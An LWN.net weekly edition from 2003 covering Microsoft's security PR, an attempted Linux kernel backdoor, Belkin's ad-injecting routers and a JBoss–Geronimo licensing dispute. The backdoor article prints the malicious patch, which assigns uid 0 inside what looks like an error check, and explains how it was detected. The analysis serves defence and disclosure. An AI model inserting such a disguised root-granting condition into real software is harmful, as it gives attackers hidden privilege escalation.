LWN.net Weekly Edition for November 13, 2003

The upcoming security fight

Security is an important issue. Software users have been bitten by enough security incidents now that they are beginning to really think about whether a system they are considering deploying is sufficiently secure or not. As a result, software vendors are beginning to feel some heat from their customers on security. Among other things, security concerns have led directly to two new initiatives from Microsoft: the payment of bounties on information leading to the arrest of virus authors, and (apparently) an upcoming publicity campaign which will try to demonstrate that Microsoft products have a better security record than Linux.

Strangely enough, neither of those efforts will make Windows more secure in any way. But they will raise the stakes with regard to security issues. We should expect that, in the future, Linux-related security problems will receive much more attention than they have in the past. If Microsoft is out to prove itself more secure than Linux, it certainly will not waste any PR opportunities resulting from Linux vulnerabilities.

There are many implications to note from an increased emphasis on the perceived security of software products. Both developers and users of free software will want to redouble their efforts to tighten up security. The free software community may be better at the creation and deployment of secure software than just about anybody else, but our record is still far from good enough.

There is nothing new in the statement above. But consider for a moment the recent attempt to insert a backdoor into the Linux kernel. There is no way of knowing who was responsible for that attack, but it is worth thinking about who might have benefitted from it. The attempted back door - which did not enable remote attacks - would have been more useful for publicity than for actual exploits. Somebody wanted to be able to say that a vulnerability had been successfully planted in the Linux kernel. Any company with an interest in attacking the security record of free software - and there is more than one such company - would have gotten great mileage out of this kind of demonstration. It is safe to assume that there will be other attempts to insert malicious code into free software releases; a high level of vigilance will be required to detect and defeat those attempts.

The public perception of the relative security of operating systems has become an issue that means real money to the companies involved. When free software starts to eat too far into its competitors' bottom line, those competitors can be expected to fight back. Not all of them will choose to fight fairly; a quick look at the SCO case will verify that fact. Without giving in to absolute paranoia, we should expect the debate around security issues to take on a harsher edge. Things could get interesting, but this is a fight we should win decisively by doing what we always do: developing the best software we can with our users' needs in mind.

Comments (22 posted)

An attempt to backdoor the kernel

The mainline 2.4 and 2.6.0-test kernels are both currently maintained in BitKeeper repositories. As a service for those who, for whatever reason, are unable or unwilling to use BitKeeper, however, the folks at BitMover have set up a separate CVS repository. That repository contains the current code and the full revision history. It is not, however, the place where new changes are committed. So, when somebody managed to push some changes directly into CVS, Larry McVoy noticed quickly.

Over the years, people have had numerous things to say about BitKeeper and the people behind it. Nobody, however, has accused them of being insufficiently careful. Every change in the CVS repository includes backlink information tying it to the equivalent BitKeeper changesets. The changes in question lacked that information, and thus stood out immediately.

An attempt to make a change in this way is suspicious, to say the least, so there was a lot of interest in what the attempted change was. The actual patch confirmed all suspicions; the relevant code was:

+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;

It looks much like a standard error check, until you notice that the code is not testing current->uid - it is, instead setting it to zero. A program which called wait4() with the given flags set would, thereafter, be running as root. This is, in other words, a classic back door.

The resulting vulnerability, had it ever made it to a deployed system, would have been a locally-exploitable hole. Some sites have said that the hole would have been susceptible to remote exploits, but that is not the case. An attacker would need to be able to run a program on the target system first.

But this attack never had any chance of corrupting the mainline kernel. The CVS repository is generated from BitKeeper, it is not a path for patches to get into the BitKeeper repositories. So the code in question could only affect users who were working from the CVS repository. Kernels used by distributors probably do not come from that repository, and, as this incident has shown, illicit code can only remain there for so long before being detected.

As it turns out, a successful attack on the public BitKeeper repositories would not be a whole lot more effective. By its nature, BitKeeper works with many copies of the repository; it is good for BitKeeper users that disk space is cheap. The public 2.6 repository reflects all of Linus's work, but it is not his repository. When Linus applies a set of patches, he has to explicitly "push" his private repository to the public server before the rest of the world sees it.

BitKeeper takes a very paranoid view of its data. Checksums are applied all over the place, and a push from one repository to another can't be done if the receiving repository has unknown changesets in it. So, if somebody were to sneak something into the public repository, Linus would notice it the next time he attempted a push of his own. At that point the red alert could be sounded, and the only people affected would be those who had pulled development kernels directly from the repository.

So the only way to get a back door into the kernel source - and to have it be widely distributed - would be to get Linus or one of his top-tier lieutenants to accept it directly. That would be a challenge, since these people do actually look over code before accepting it. It is not entirely impossible, however; a forged message to Linus appearing to contain a patch from a trusted contributor might just be accepted. The development process is reasonably secure, but not perfect.

For this reason, this episode has renewed a push to incorporate digital signature checking into BitKeeper. If the source management system checked such signatures automatically, the most obvious forgeries would be detected before they were merged. Larry McVoy has indicated that he is willing to build such a feature into the free (beer) version of BitKeeper. Whether the key kernel hackers would be willing to start signing all of their patches is another question. The pain of having to sign patches could well be far less than the pain of dealing with a widely distributed backdoor in the kernel, however.

Comments (75 posted)

The Belkin router fiasco

It must have seemed like a good idea to some marketing person at Belkin. This company offers a "parental control" feature in it LAN router products which, upon payment of a subscription fee, allow control over which sites can be accessed. It would be nice (from Belkin's point of view) to be sure that all customers are aware of the opportunity to buy this service. So why not just redirect a random web connection every eight hours and have it display an ad for the parental control service rather than the page the user thought they were going to see?

Belkin thought this "feature" was not a particularly big deal. After all, it can be turned off by changing a setting in the router configuration. Or, if the user hits the "no thanks" button, a system owned by Belkin will connect to the router over the net and turn off the feature for them. Unless, of course, the router sits behind a firewall that might look askance at connects to internal routers from the wider Internet.

This sort of episode demonstrates, again, why it is important to have our gadgets powered by free software. Nobody should have to put up with a router hijacking their HTTP connections to display advertisements at them. Few of us want a router whose configuration can be silently changed via a connection from the outside. And many of us would sure like to know what other interesting "features" might have been included with such a product. But, without the source, there is very little to be done. Bad (or malicious) features cannot be fixed, and nobody can audit the code for any other surprises that may be lurking within.

In the absence of source, there is only one feasible way to fix a problem like Belkin's advertising feature: embarrass the manufacturer on the net until they make a fix available. In this case, that approach appears to have worked; Belkin has announced that it will be releasing a firmware update which removes the redirect feature. But we may never know what other features Belkin will have worked into its products. Until our gadgets are powered by free software, we will never really know what our appliances are doing and we will lack the power to fix them.

Comments (9 posted)

Geronimo accused of LGPL violations

Geronimo is a project being run under the Apache Software Foundation; it is an attempt to create a free J2EE implementation under the Apache license. As such, it is a direct competitor to JBoss, a commercially-supported project which licenses its code under the Lesser GPL. The JBoss Group has evidently been sufficiently concerned about Geronimo to be watching the project and digging through its code repository. They didn't like what they found; on November 10, the Apache Software Foundation received a letter (PDF format) from JBoss's lawyers alleging that code had been copied from JBoss into Geronimo.

Copying of code between free software projects is not always a concern; indeed, the freedom to do so is one of the things that makes free software great. This copying cannot happen, however, if the two projects do not have compatible licenses. The JBoss code is licensed under the LGPL; creating a derived product of that code under the Apache license is not an action that the LGPL allows. So, if this copying has actually occurred, and the person contributing the code to Geronimo did not have the right to do so (by actually owning the copyright on that code, for example), the JBoss Group may have a real point.

It would have been nice to resolve this issue without bringing in the lawyers. Even so, the tone of the letter distinguishes the JBoss group from other companies which have been claiming that their code was copied. The letter proceeds on the assumption that any such copying was not done intentionally, and it provides some actual code examples. The Geronimo project has responded accordingly; if there is any LGPL code in Geronimo, they don't want it there and they will take the appropriate steps to get rid of it.

Thus far, however, the Geronimo developers seem unconvinced by the JBoss Group's claims. An examination of the examples provided by JBoss suggests that the code in question may have a right to be there. Indeed, some of it appears to be derived from other Apache-licensed code which somehow lost its copyright notices on its way into JBoss. One of the code examples is no longer in the current Geronimo code base, and has not been for a couple of months.

This is a situation which bears watching. The free software community truly does not need a legal battle between two of its projects. It does appear that the right things are being done, however; with luck, this situation will be resolved in a friendly and professional manner, and without further involvement of lawyers.

Comments (2 posted)